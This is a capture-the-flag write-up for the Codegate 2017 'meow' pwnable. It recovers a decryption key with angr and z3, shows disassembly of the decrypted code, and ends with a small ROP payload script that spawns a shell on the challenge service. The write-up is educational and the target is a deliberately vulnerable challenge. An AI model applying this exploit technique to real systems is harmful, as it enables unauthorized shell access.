Codegate 2017 quals - meow

Linux ELF binary and a service port is given. So I assume it’s a pwnable task.

1. First look

This binary receives 10 byte input and checks its MD5 hash. If the check passes, the string is used to decrypt two data blobs. Then two decrypted blobs are mmaped to fixed addresses 0x12000 and 0x14000 with RWE permission. Then at the end of the program, we can ‘call’ the code at 0x12000 just like a function.

Since finding preimage of the MD5 hash is hopeless, our goal is now finding the 10 byte key that makes the decoded blob plausible. To do that, we had to analyze the decryption function 0xD1D. But I felt I will definitely make mistake during understanding it. So my teammate took another way.

2. Simplifying the decryption routine

The decryption seemed to be composed of simple XORs. So we used angr to derive the symbolic relation between input and output.

First load the binary in angr.

import angr
proj = angr.Project('./meow')

Then a warning message says

WARNING | 2017-02-15 02:00:19,629 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.

Yes it is a PIE binary. But thankfully angr loads it on a fixed location.

Since we don’t want to deal with the MD5 check, I started the execution from the decryption function.

state = proj.factory.entry_state(addr=0x400d1d)

Now we need to fill in the initial state values such as arguments and symbolic memory content.

import claripy
state.regs.rdi = 0x100000
state.regs.rsi = 0x200000
state.regs.rdx = 182
for i in range(182):
    v = claripy.BVS('x{}'.format(i), 8)
    state.memory.store(state.regs.rdi + i, v)
for i in range(10):
    v = claripy.BVS('k{}'.format(i), 8)
    state.memory.store(state.regs.rsi + i, v)

Then execute until the end of function. The control flow is independent to any of the inputs. Thus there is only one path in the path group.

path_group = proj.factory.path_group(state)
path_group.explore(find=0x4013c4)
s = path_group.found[0].state

If we inspect the state s, we can see that decryption result is represented as claripy AST. For example,

>>> s
<simuvex.s_state.SimState object at 0x7f717ac5dc30>
>>> s.memory.load(0x100000,1)
<BV8 __xor__(x181_181_8, k5_187_8, k2_184_8)>

Now we should parse the result.

for i in range(182):
    r = repr(s.memory.load(0x100000 + i,1))
    matches = re.findall('((x|k)([0-9]+))_', r)
    terms = []
    for _, name, idx in matches:
        terms.append('%s[%s]' % (name, idx))
    line = 'y[%d] = ' % i
    line += ' ^ '.join(terms)
    print line

We have something like

y[0] = x[181] ^ k[5] ^ k[2]
y[1] = x[5] ^ k[2] ^ k[3]
y[2] = x[12] ^ k[1] ^ k[8]
y[3] = x[13] ^ k[3] ^ k[9]

We can re-do this process with the 56-byte blob.

3. Finding the correct key

The resulting data must be a complete function.

The first byte of it may be push rbp (0x55). Also the last byte may be leave; ret (0xc9 0xc3). Based on this hint, we can infer the original key. We have used z3 to solve the constraints.

In the data, we found some broken strings like “Did uou”, “ch.ose”. Fixed version of them were also added to constraints.

import z3
import subprocess
import os
import struct

data1 = [
0xF1,0x64,0x72,0x4A,0x4F,0x48,0x4D,0xBA,0x77,0x73,0x1D,0x34,0xF5,0xAF,0xB8,0x0F,
0x24,0x56,0x11,0x65,0x47,0xA3,0x2F,0x73,0xA4,0x56,0x4F,0x70,0x4A,0x13,0x57,0x9C,
0x3F,0x6F,0x06,0x61,0x40,0x90,0xAF,0x39,0x10,0x29,0x34,0xC3,0x00,0x7A,0x40,0x3D,
0x4E,0x3F,0x0E,0x2A,0x2F,0x20,0x7F,0x73,0x89,0x7D,0x4B,0x1D,0x09,0xAA,0xD0,0x00,
0x21,0x89,0x4D,0x2A,0x67,0x7C,0x18,0x3B,0x39,0xF2,0x8D,0x1C,0xA7,0x71,0x57,0x2E,
0x31,0x14,0x67,0x48,0x3C,0x7D,0xAF,0x70,0xAE,0x10,0x31,0x68,0xD1,0x26,0x05,0xC8,
0x25,0xF2,0x62,0xF5,0x5D,0x38,0x34,0xF2,0x20,0x0E,0x7E,0x9F,0xFB,0x57,0x72,0x26,
0x57,0x67,0x15,0x10,0x15,0x13,0xB9,0x3E,0x79,0x89,0x5D,0x24,0x12,0x01,0x98,0x7B,
0x18,0x25,0xE0,0xDF,0x7C,0x24,0x1B,0x2D,0x44,0xB0,0x10,0x3D,0x57,0x3D,0x62,0xB4,
0x21,0x1D,0x3E,0xD1,0x10,0xD7,0x45,0x74,0x96,0x2B,0x6D,0x3B,0xED,0x10,0x00,0x67,
0x31,0xDF,0x6C,0xB8,0x86,0x1A,0x7C,0x6B,0x64,0x78,0xC6,0x37,0x76,0xE6,0x61,0xA0,
0xAD,0xBE,0x4C,0xBA,0xA7,0x0D
]

data2 = ''
data2 += struct.pack('<Q',0x2A4D48734AD94861)
data2 += struct.pack('<Q',0x6773AFF5A5187C07)
data2 += struct.pack('<Q',0xC7002ACCB8595624)
data2 += struct.pack('<Q',0x2439342338DF6F95)
data2 += struct.pack('<Q',0xEC833245186E4F5C)
data2 += struct.pack('<Q',0x6F14A0004A585BB5)
data2 += struct.pack('<Q',0xDA72C4CBEADBE24)
data2 = list(map(ord, data2))

key = [z3.BitVec('y%d' % i, 8) for i in range(10)]

def first(x, k):
    y = [0]*len(x)
    y[0] = x[181] ^ k[5] ^ k[2]
    y[1] = x[5] ^ k[2] ^ k[3]
    y[2] = x[12] ^ k[1] ^ k[8]
    y[3] = x[13] ^ k[3] ^ k[9]
    # ...
    y[181] = x[180] ^ k[3] ^ k[1]
    return y

def second(x, k):
    y = [0]*len(x)
    y[0] = x[55] ^ k[5] ^ k[2]
    y[1] = x[5] ^ k[2] ^ k[3]
    # ...
    y[54] = x[53] ^ k[1] ^ k[0]
    y[55] = x[54] ^ k[3] ^ k[1]
    return y

one = first(data1, key)
two = second(data2, key)

s = z3.Solver()
for i in range(10):
    s.add(key[i] >= 32)
    s.add(key[i] <= 127)

s.add(one[0] == 0x55) # push rbp
s.add(one[1] == 0x48)
s.add(one[2] == 0x89)
s.add(one[3] == 0xe5) # mov rbp, rsp
s.add(one[4] == 0x48)
s.add(one[5] == 0x83)
s.add(one[6] == 0xec) # sub rsp, 0xNN

def add_const(n, st):
    for i in range(n, n+len(st)):
        s.add(one[i] == ord(st[i-n]))
add_const(10, 'Did you')
add_const(24, 'choose')
add_const(0x60, 'ou pre')

print s.check()
m = s.model()

pw = ''
nums = []
for i in range(10):
    n = m[key[i]].as_long()
    pw += chr(n)
    nums.append(n)
print pw
print nums

subprocess.check_call(['./test'] + map(str, nums))
os.system('objdump -b binary -m i386:x86-64 -M intel -D bin')
os.system('objdump -b binary -m i386:x86-64 -M intel -D bin2')

The key was $W337k!++y.

4. Exploiting the decrypted code

If we enter the correct password, two data blobs are decrypted as follows:

0x12000:
   0:   55                      push   rbp
   1:   48 89 e5                mov    rbp,rsp
   4:   48 83 ec 60             sub    rsp,0x60
   8:   48 b8 44 69 64 20 79    movabs rax,0x20756f7920646944
   f:   6f 75 20
  12:   48 89 45 a0             mov    QWORD PTR [rbp-0x60],rax
  16:   48 b8 63 68 6f 6f 73    movabs rax,0x612065736f6f6863
  1d:   65 20 61
  20:   48 89 45 a8             mov    QWORD PTR [rbp-0x58],rax
  24:   48 b8 20 63 61 74 3f    movabs rax,0x3f3f3f3f74616320
  2b:   3f 3f 3f
  2e:   48 89 45 b0             mov    QWORD PTR [rbp-0x50],rax
  32:   48 b8 3f 0a 57 68 61    movabs rax,0x7420746168570a3f
  39:   74 20 74
  3c:   48 89 45 b8             mov    QWORD PTR [rbp-0x48],rax
  40:   48 b8 79 70 65 20 6f    movabs rax,0x6320666f20657079
  47:   66 20 63
  4a:   48 89 45 c0             mov    QWORD PTR [rbp-0x40],rax
  4e:   48 b8 61 74 20 77 6f    movabs rax,0x646c756f77207461
  55:   75 6c 64
  58:   48 89 45 c8             mov    QWORD PTR [rbp-0x38],rax
  5c:   48 b8 20 79 6f 75 20    movabs rax,0x65727020756f7920
  63:   70 72 65
  66:   48 89 45 d0             mov    QWORD PTR [rbp-0x30],rax
  6a:   48 b8 66 65 72 3f 20    movabs rax,0x273027203f726566
  71:   27 30 27
  74:   48 89 45 d8             mov    QWORD PTR [rbp-0x28],rax
  78:   c7 45 e0 0a 3e 3e 3e    mov    DWORD PTR [rbp-0x20],0x3e3e3e0a
  7f:   c6 45 e4 00             mov    BYTE PTR [rbp-0x1c],0x0
  83:   48 8d 45 a0             lea    rax,[rbp-0x60]
  87:   ba 44 00 00 00          mov    edx,0x44
  8c:   48 89 c6                mov    rsi,rax
  8f:   bf 01 00 00 00          mov    edi,0x1
  94:   b8 01 00 00 00          mov    eax,0x1
  99:   0f 05                   syscall
  9b:   48 8d 45 08             lea    rax,[rbp+0x8]
  9f:   ba 18 00 00 00          mov    edx,0x18
  a4:   48 89 c6                mov    rsi,rax
  a7:   bf 00 00 00 00          mov    edi,0x0
  ac:   b8 00 00 00 00          mov    eax,0x0
  b1:   0f 05                   syscall
  b3:   90                      nop
  b4:   c9                      leave
  b5:   c3                      ret

0x14000:
   0:   55                      push   rbp
   1:   48 89 e5                mov    rbp,rsp
   4:   48 83 ec 10             sub    rsp,0x10
   8:   48 89 7d f8             mov    QWORD PTR [rbp-0x8],rdi
   c:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
  10:   ba 00 00 00 00          mov    edx,0x0
  15:   be 00 00 00 00          mov    esi,0x0
  1a:   48 89 c7                mov    rdi,rax
  1d:   b8 3b 00 00 00          mov    eax,0x3b
  22:   0f 05                   syscall
  24:   90                      nop
  25:   c9                      leave
  26:   c3                      ret
  27:   00 00                   add    BYTE PTR [rax],al
  29:   2f                      (bad)
  2a:   62                      (bad)
  2b:   69 6e 2f 73 68 00 00    imul   ebp,DWORD PTR [rsi+0x2f],0x6873
  32:   00 00                   add    BYTE PTR [rax],al
  34:   00 00                   add    BYTE PTR [rax],al
  36:   5f                      pop    rdi
  37:   c3                      ret

There is a buffer overflow (\?) at the function 0x12000. Code blob 0x14000 contains execve() gadget, “/bin/sh” string and pop rdi gadget. The exploit is trivial.

import struct
p = ''
p += struct.pack('<Q', 0x14036)
p += struct.pack('<Q', 0x14029)
p += struct.pack('<Q', 0x14000)
print '$W337k!++y'
print 3
print p

Send this payload to get a shell. Flag is flag{what a lovely kitty!}.

Other posts (list)


Running ARM in QEMU
HITCON CTF 2016 Quals - MixerBox
Codegate 2017 quals - meow
Codegate 2017 finals - BMP
Building custom kernel